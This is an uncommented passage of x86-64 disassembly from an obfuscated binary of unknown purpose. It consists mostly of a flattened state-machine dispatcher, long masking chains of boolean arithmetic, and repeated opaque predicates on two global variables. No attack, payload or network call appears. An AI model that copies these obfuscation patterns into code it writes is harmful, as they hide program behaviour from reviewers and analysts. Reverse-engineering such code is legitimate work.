xor ebx, 0xeee956f1
and ebx, ecx
mov ebp, ebx
not ebp
mov esi, edx
not esi
mov eax, ebp
and eax, 0xa4a8219d
and ebx, 0x5b57de62
or ebx, eax
or ebp, esi
and esi, 0xa4a8219d
and edx, 0x5b57de62
or edx, esi
xor edx, ebx
not ebp
or ebp, edx
mov eax, ebp
not eax
and eax, 0x49c3e1f3
and ebp, 0xb63c1e0c
or ebp, eax
xor ebp, 0xe4bed1b3
xor edi, 0xa0419841
and edi, 0xa2d5fc51
mov eax, ecx
and eax, 0x5d2a03ae
or eax, edi
xor eax, 0xa2d5fc50
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9774fba0
and ecx, 0x688b045f
or ecx, eax
xor ecx, 0x688b045f
mov eax, ebp
and eax, ecx
xor ecx, ebp
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x8f8f0a12
and eax, 0x7070f5ed
or eax, ebx
or ecx, ebp
and ebp, 0x8f8f0a12
and edx, 0x7070f5ed
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xd709a3c9
and ecx, 0x28f65c36
or ecx, eax
mov eax, ecx
xor eax, 0x8861420
xor ecx, 0x408a009
and ecx, 0x2478e81f
and eax, 0xdb8717e0
or eax, ecx
xor eax, 0x2478e81f
cmp eax, 0xffffffff
sete bl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov eax, ebx
mov r9d, ebx
xor r9b, cl
and cl, bl
or bl, r8b
xor al, r8b
not al
and al, r8b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
or cl, r9b
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0x8ee2202e
mov ebp, 0x18b8ee91
cmovne ecx, ebp
test bl, 1
mov edx, 0x8ee2202e
cmove ecx, edx
jmp 0x1400bc096
cmp ecx, 0xb7afb40b
jg 0x1400b4e1d
cmp ecx, 0xb71c9aa8
je 0x1400b89c8
cmp ecx, 0xb74ff4ac
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8dd94925
and edx, 0x7226b6da
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe4523a30
and edx, 0x1badc5cf
or edx, ecx
mov ebp, edx
xor ebp, 0x92148028
xor edx, 0x698b7315
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0x4607cc7
and ebp, 0xfb9f8338
or ebp, edx
mov edx, ebp
xor edx, 0xfb940209
xor ebp, 0x4607cc6
mov edi, ecx
and edi, 0x44b8972
and ebx, 0xfbb4768c
or ebx, edi
or ecx, ebp
and ebp, 0x44b8972
and edx, 0xfbb4768d
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0x45562611
and edx, 0xbaa9d9ee
or edx, ebp
xor edx, 0xbaa9d9ee
or edx, ecx
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor al, 1
or bl, al
and al, cl
xor cl, dl
and cl, dl
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov eax, ebx
or al, cl
xor cl, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xd132d8f9
mov ebp, 0x1a7eacf3
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0xd132d8f9
cmovne ecx, ebp
jmp 0x1400bd1cd
cmp ecx, 0x305affdb
jg 0x1400b4ed5
cmp ecx, 0x2ec514bf
je 0x1400b89de
cmp ecx, 0x2ef1bed1
jne 0x1400aed20
mov ecx, 0x55f6eb13
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x787b21ea
jg 0x1400b4fd5
cmp ecx, 0x771227cd
je 0x1400b8adc
cmp ecx, 0x774caa48
jne 0x1400aed20
mov ecx, 0x89d077ee
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x88115e21
jg 0x1400b50c5
cmp ecx, 0x8650a479
je 0x1400b8cb5
cmp ecx, 0x87960880
jne 0x1400aed20
mov ecx, 0x6057b985
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xc5a642f4
jg 0x1400b50f3
cmp ecx, 0xc2a48f73
je 0x1400b8e0e
cmp ecx, 0xc479a773
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x82dc5296
and ecx, ebp
not ebp
and ebp, 0x80841214
and edx, 0x2584082
or edx, ebp
xor edx, 0x2584082
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3040be68
and ecx, 0xcfbf4197
or ecx, edx
mov ebx, ecx
xor ebx, 0x4d631301
mov esi, ecx
xor esi, 0xb29cecfe
xor ecx, 0x847d9333
mov ebp, ecx
and ebp, esi
and ecx, ebx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xb718d4d6
and ecx, 0x48e72b29
or ecx, ebp
mov ebp, ecx
xor ebp, 0x1e88910
and ebx, 0x32f59efa
mov edx, esi
and edx, 0xcd0a6105
or edx, ebx
xor edx, 0x32f59efb
and esi, 1
or esi, edx
mov edx, esi
not edx
xor ecx, 0x7e0654e5
mov ebx, ecx
and ebx, 0x9e11722a
and ebp, 0x61ee8dd5
or ebp, ebx
or ecx, esi
and esi, 0x9e11722a
and edx, 0x61ee8dd5
or edx, esi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x29abb1e3
and edx, ecx
and ecx, 0xd6544e1c
or ecx, ebp
xor ecx, 0xd6544e1c
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0x1a56a7d
and edx, 0xfe5a9582
or edx, ecx
xor edx, 0x1a56a7d
cmp edx, 0xffffffff
setne r9b
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, eax
xor bl, cl
and bl, al
mov edx, ebx
xor dl, 1
mov eax, ebx
or al, dl
xor bl, al
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and dl, r8b
and al, r9b
or al, dl
xor r9b, cl
xor r9b, 1
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x1fb4774
mov ebp, 0x44a8caa0
cmovne ecx, ebp
test al, 1
mov eax, ecx
mov ebp, 0x1fb4774
cmovne eax, ebp
test dl, 1
jmp 0x1400bb1ca
cmp ecx, 0xef3716aa
jg 0x1400b5253
cmp ecx, 0xeca8f179
je 0x1400b8f19
cmp ecx, 0xecd6b041
jne 0x1400aed20
mov edx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0xad565e22
mov edx, ecx
and edx, 0x52a9a1dc
or edx, ebx
mov ebx, edx
xor ebx, 0x10800058
xor edx, 0xad565e23
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
mov esi, edi
not esi
mov eax, edx
and eax, 0x626fb986
and ebx, 0x9d904678
or ebx, eax
or edx, esi
and esi, 0x626fb986
and edi, 0x9d904679
or edi, esi
xor edi, ebx
not edx
or edx, edi
not edx
and ebp, 0xf89166dd
and ecx, 0x76e9922
or ecx, ebp
xor ecx, 0x76e9922
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xbdea2531
and ecx, 0x4215dace
or ecx, eax
xor ecx, 0x4215dace
sete r10b
setne bl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl dl
mov eax, ebx
xor al, r10b
and al, bl
mov ecx, eax
not cl
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
mov eax, edx
xor al, cl
xor al, 1
and al, cl
or cl, dl
mov ebx, ecx
xor bl, al
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
mov ecx, r9d
xor cl, r10b
and cl, r9b
xor dl, r10b
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r8d, eax
xor r8b, 1
mov ecx, edx
xor cl, 1
mov ebx, ecx
mov r9d, r8d
and r9b, cl
xor cl, r8b
and r8b, al
and bl, dl
xor r8b, 1
mov r10d, eax
xor r10b, r8b
or r8b, al
xor r8b, 1
or r8b, r10b
xor bl, 1
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
xor bl, r8b
or cl, r9b
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xd6360824
mov edx, 0x23416bdc
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xd6360824
jmp 0x1400bd5b0
cmp ecx, 0x408a973e
jg 0x1400b531c
cmp ecx, 0x3ee6ac9f
je 0x1400b90db
cmp ecx, 0x401f511d
jne 0x1400aed20
mov ecx, dword [0x140265730]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x461c5f5a
and ecx, eax
and eax, 0xb9e3a0a5
or eax, edx
mov edx, eax
xor edx, 0x9028025
xor eax, 0x461c5f5a
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xb6e93f90
and edx, 0x4916c06f
or edx, ebx
or eax, ebp
and ebp, 0xb6e93f90
and ecx, 0x4916c06f
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc6173116
and ecx, 0x39e8cee9
or ecx, eax
xor ecx, 0x39e8cee9
setne al
sete cl
cmp dword [0x14026572c], 0xa
setl bl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor al, bl
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov edx, ebx
xor dl, al
test al, al
mov ecx, 0xf8df045e
mov ebp, 0xb8359344
cmovne ecx, ebp
test bl, bl
mov eax, 0xf8df045e
jmp 0x1400b242d
cmp ecx, 0xa24d4352
jg 0x1400b5484
cmp ecx, 0xa0f4349d
je 0x1400b91de
cmp ecx, 0xa1b6c5ed
jne 0x1400aed20
mov ecx, 0x9b8ad2f9
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x1a7eacf2
jg 0x1400b5583
cmp ecx, 0x174841cb
je 0x1400b92f0
cmp ecx, 0x18b8ee91
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ebp, edx
or ebp, 1
mov edi, ebp
not edi
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov esi, ecx
not esi
mov eax, ebp
and eax, 0x2ebe7e1
and edi, 0xfd14181e
or edi, eax
or ebp, esi
and esi, 0x2ebe7e1
and ecx, 0xfd14181e
or ecx, esi
xor ecx, edi
not ebp
or ebp, ecx
not ebp
and ebx, 0x5a3c6dc3
and edx, 0xa5c3923c
or edx, ebx
xor edx, 0xa5c3923c
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
cmp edx, 0xffffffff
sete r9b
setne dl
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl cl
mov eax, edx
xor al, r9b
and al, dl
mov edx, eax
xor dl, 1
and bl, cl
and al, dl
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, ebx
xor dl, 1
and dl, al
xor al, 1
and al, bl
or al, dl
mov edx, ecx
or dl, r9b
xor cl, r9b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov r8d, eax
xor r8b, 1
mov r9d, edx
xor r9b, 1
mov ecx, edx
and cl, r9b
mov ebx, ecx
xor bl, 1
xor cl, dl
or bl, r9b
xor bl, 1
or bl, cl
and r8b, bl
xor bl, 1
and bl, al
or bl, r8b
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x52f57c65
mov ecx, 0xf488f953
cmovne eax, ecx
test dl, 1
mov ecx, 0x52f57c65
jmp 0x1400b6a0b
cmp ecx, 0x60779ddb
jg 0x1400b5650
cmp ecx, 0x5e68f1ec
je 0x1400b948d
cmp ecx, 0x6057b985
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x9fed2e4b
mov ebx, ecx
and ebx, 0x6012d1b4
or ebx, ebp
mov ebp, ebx
not ebp
and ebp, 0x6012d1b5
and ebx, 0x9fed2e4a
or ebx, ebp
and edx, 0x422955dc
and ecx, 0xbdd6aa23
or ecx, edx
mov edx, ecx
xor edx, 0xbdd6aa23
xor ecx, 0x422955dc
and ecx, ebx
not ebx
and edx, ebx
or ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor cl, al
mov eax, ecx
xor al, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, dl
not cl
test cl, 1
mov ecx, 0x2759d340
mov ebp, 0x87960880
cmovne ecx, ebp
test al, al
mov eax, 0x2759d340
cmovne eax, ecx
jmp 0x1400ba5be
cmp ecx, 0xd9ebea8f
jg 0x1400b567e
cmp ecx, 0xd6360824
je 0x1400b958d
cmp ecx, 0xd819b661
jne 0x1400aed20
mov eax, dword [0x140265730]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xfffffffe
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xbafefbcd
and ecx, 0x45010432
or ecx, edx
and ebp, 0xbafefbcd
and eax, 0x45010432
or eax, ebp
xor eax, ecx
not eax
or eax, ebx
cmp eax, 0xffffffff
sete r9b
cmp dword [0x14026572c], 9
setg al
xor r9b, al
mov r8d, r9d
xor r8b, 1
xor al, r9b
mov edx, eax
and dl, r9b
mov ebx, edx
xor bl, 1
and bl, dl
mov r11d, r8d
and r11b, r9b
mov r10d, ebx
and r10b, dl
xor bl, dl
or bl, r10b
mov ecx, r11d
xor cl, 1
xor r11b, r8b
or cl, r9b
xor cl, 1
or cl, r11b
xor cl, bl
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xef3716ab
mov ebp, 0x820b8c8b
cmovne edx, ebp
test al, al
mov eax, 0xef3716ab
jmp 0x1400b3ba5
cmp ecx, 0x90a839de
jg 0x1400b5794
cmp ecx, 0x8fbf9a91
je 0x1400b9757
cmp ecx, 0x8ff37b0e
jne 0x1400aed20
mov ecx, 0x4e267422
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xcd0d3085
jg 0x1400b57c2
cmp ecx, 0xcc7bcded
je 0x1400b983f
cmp ecx, 0xcccc7f03
jne 0x1400aed20
mov eax, dword [0x140265730]
mov esi, dword [0x14026572c]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0xe5c3624
and edx, 0xf1a3c9db
or edx, edi
and ebx, 0xe5c3624
and eax, 0xf1a3c9db
or eax, ebx
xor eax, edx
xor ebp, eax
test ebp, eax
setne r8b
sete cl
cmp esi, 9
setg al
cmp esi, 0xa
setl r9b
mov ebx, ecx
xor bl, r8b
and bl, cl
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov ebx, eax
or bl, cl
xor cl, 1
or cl, r9b
xor cl, 1
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor r9b, r8b
mov ecx, r9d
xor cl, 1
or al, r8b
xor al, 1
or al, cl
xor cl, al
xor cl, 1
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
mov ecx, ebx
xor cl, dl
and cl, bl
and dl, bl
or dl, al
mov eax, ecx
xor al, dl
test dl, 1
mov edx, 0x135d3347
mov ebp, 0x1641fcf5
cmovne edx, ebp
test cl, 1
mov ecx, 0x135d3347
cmove edx, ecx
test al, 1
cmovne edx, ebp
jmp 0x1400bd2f4
cmp ecx, 0x1fb4773
jg 0x1400b5913
cmp ecx, 0xfec5a0df
je 0x1400b99fe
cmp ecx, 0x1c40ef2
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x4e81937d
and ecx, edx
not edx
and edx, 0x4e81937d
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb17e6c82
and ecx, 0x4e81937d
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xca87c229
and ecx, 0x35783dd6
or ecx, edx
mov edx, ecx
xor edx, 0x14481440
xor ecx, 0x4284c001
and ecx, 0x63b4e997
and edx, 0x9c4b1668
or edx, ecx
mov ecx, edx
xor ecx, 0x431000
xor edx, 0x6130c802
and edx, 0xfd38ce6a
and ecx, 0x2c73195
or ecx, edx
xor ecx, 0x2c73195
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor al, 1
xor r8b, cl
mov ecx, r8d
xor cl, 1
mov edx, ecx
and dl, r8b
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, r8b
xor bl, 1
or bl, dl
xor bl, al
or cl, al
xor al, r8b
xor al, 1
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xa24d4353
mov edx, 0xb71c9aa8
cmovne eax, edx
test cl, 1
mov ecx, 0xa24d4353
jmp 0x1400b6a0b
cmp ecx, 0x4e267421
jg 0x1400b5941
cmp ecx, 0x4af0112e
je 0x1400b9a14
cmp ecx, 0x4d575f3a
jne 0x1400aed20
mov ecx, 0xb6678a2a
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xb6678a29
jg 0x1400b596f
cmp ecx, 0xb5dc9396
je 0x1400b9c03
cmp ecx, 0xb6656dd1
jne 0x1400aed20
mov bpl, byte [rsp + 0x2e]
mov r10b, byte [rsp + 0x2f]
mov r11d, ebp
xor r11b, 1
mov r8d, r10d
xor r8b, 1
mov edx, r11d
xor dl, bpl
and dl, r11b
mov r9d, ebp
or r9b, r11b
mov edi, r8d
and dil, r10b
mov ecx, edi
xor dil, r8b
or r8b, r10b
xor dl, 1
mov ebx, edx
or bl, r9b
xor dl, r9b
xor dl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov ebx, r10d
or bl, r8b
xor r8b, r10b
mov eax, ebx
xor al, r8b
xor r8b, 1
or r8b, bl
xor al, 1
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, dl
and r8b, al
and al, dl
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov edx, r11d
and dl, bpl
mov ebx, edx
and bl, r11b
xor dl, r11b
or dl, bl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, dil
xor cl, dl
mov edx, ebp
and dl, r10b
xor bpl, r10b
or bpl, dl
xor bpl, 1
mov edx, ecx
and dl, bpl
xor bpl, cl
or bpl, dl
mov edx, ebp
xor dl, 1
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
and dl, bpl
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
xor dl, 1
mov eax, edx
xor al, bpl
or dl, bpl
xor dl, 1
or dl, al
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
or dl, al
mov eax, ecx
and al, bpl
xor cl, bpl
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xac96b0cf
mov ebp, 0x4fae7dbf
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xac96b0cf
jmp 0x1400bd5b0
cmp ecx, 0x2c43e1f0
jg 0x1400b5b7a
cmp ecx, 0x29f88c80
je 0x1400b9c19
cmp ecx, 0x2a80f5b1
jne 0x1400aed20
mov ecx, 0x3ec7a836
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x744021a2
jg 0x1400b5d20
cmp ecx, 0x71f04bab
je 0x1400b9d93
cmp ecx, 0x740daac4
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x2d081338
mov ebx, ecx
and ebx, 0x90040000
or ebx, edx
xor ebx, 0x90040000
mov edx, ecx
and edx, 0x42f3ecc7
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x29cfcfe
and edx, 0xfd630301
or edx, ebx
mov ebx, edx
xor ebx, 0x400a1010
xor edx, 0x9900a5c6
and edx, 0x9965a5ee
and ebx, 0x669a5a11
or ebx, edx
xor ebx, 0x669a5a11
and ebp, 0x102b7a2
and ecx, 0xfefd485d
or ecx, ebp
xor ecx, 0xfefd485d
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
xor al, 1
or dl, al
xor dl, 1
or cl, bl
and al, bl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, dl
mov ebx, eax
not bl
and bl, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xc6d8207a
mov ebp, 0x6e524cbf
cmovne ecx, ebp
test bl, bl
mov eax, 0xc6d8207a
cmove ecx, eax
jmp 0x1400b6242
cmp ecx, 0x8b63c394
jg 0x1400b5e77
cmp ecx, 0x8b2ee901
je 0x1400b9db5
cmp ecx, 0x8b35b92d
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edi, [rdx - 1]
imul edi, edx
mov ebp, edi
not ebp
mov ecx, edi
or ecx, 1
mov ebx, ecx
not ebx
mov edx, ebp
or edx, 0xe0821d14
and ecx, 0xe0821d15
and ebx, 0x1f7de2ea
or ebx, ecx
and edx, 0xe0821d15
xor edx, ebx
and ebp, 0x1b21358e
and edi, 0xe4deca71
or edi, ebp
mov ecx, edi
xor ecx, 0x84d64010
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0x71298b67
and edx, 0x8ed67498
or edx, ebp
xor edi, 0x11210106
and edi, 0x71298b67
and ecx, 0x8ed67498
or ecx, edi
xor ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r10d
xor al, r8b
and al, r10b
mov edx, r9d
xor dl, al
not dl
and dl, al
or al, r9b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, r8b
and dl, cl
and r10b, r9b
and cl, r8b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x5cc72387
mov ebp, 0x3e4b8609
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0x5cc72387
jmp 0x1400bbbaf
cmp ecx, 0xcafb7ac8
jg 0x1400b5f98
cmp ecx, 0xca5402ee
je 0x1400b9dcb
cmp ecx, 0xcad277d8
jne 0x1400aed20
mov eax, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x978b4025
and edx, 0x6874bfda
or edx, edi
and ebx, 0x978b4025
and eax, 0x6874bfda
or eax, ebx
xor eax, edx
xor ebp, eax
test ebp, eax
sete r9b
setne bl
cmp ecx, 0xa
setl r8b
cmp ecx, 9
setg cl
and r8b, bl
xor bl, cl
or bl, cl
mov eax, ebx
xor al, 1
and r9b, cl
or r9b, r8b
mov edx, r9d
xor dl, 1
and al, bl
mov ecx, edx
and cl, r9b
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov r8d, edx
xor r8b, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, r8b
xor cl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xe01c08f1
mov ebp, 0x52a4c3e5
cmovne eax, ebp
test dl, dl
mov edx, 0xe01c08f1
jmp 0x1400b6f36
cmp ecx, 0xf866c4ee
jg 0x1400b5fc6
cmp ecx, 0xf67b1433
je 0x1400b9df3
cmp ecx, 0xf7099f9f
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov esi, dword [0x14026572c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ecx, ebp
and edx, ebx
or edx, ecx
xor ebp, edx
test ebp, edx
sete r9b
setne al
cmp esi, 9
setg bl
cmp esi, 0xa
setl cl
mov r10d, eax
xor r10b, cl
mov r8d, r10d
xor r8b, 1
and r9b, bl
and cl, al
or cl, r9b
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, r10b
or r10b, al
and al, r8b
or al, cl
mov edx, r10d
xor dl, al
test al, al
mov ecx, 0x5a0d84a2
mov ebp, 0x95ea3f73
cmovne ecx, ebp
test r10b, 1
mov eax, 0x5a0d84a2
jmp 0x1400bab13
cmp ecx, 0x4650bb90
jg 0x1400b5ff4
cmp ecx, 0x44a8caa0
je 0x1400b9e09
cmp ecx, 0x45326057
jne 0x1400aed20
mov ecx, 0x1c40ef2
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xaf64f1a9
jg 0x1400b6022
cmp ecx, 0xa989fb86
je 0x1400b9e1f
cmp ecx, 0xac96b0cf
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ebx, ebp
xor ebx, 0xfffffffe
and ebx, edx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ecx, ebx
not ecx
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0xc2062596
and ebx, 0x3df9da69
or ebx, edi
or ecx, ebp
and ebp, 0xc2062596
and edx, 0x3df9da69
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
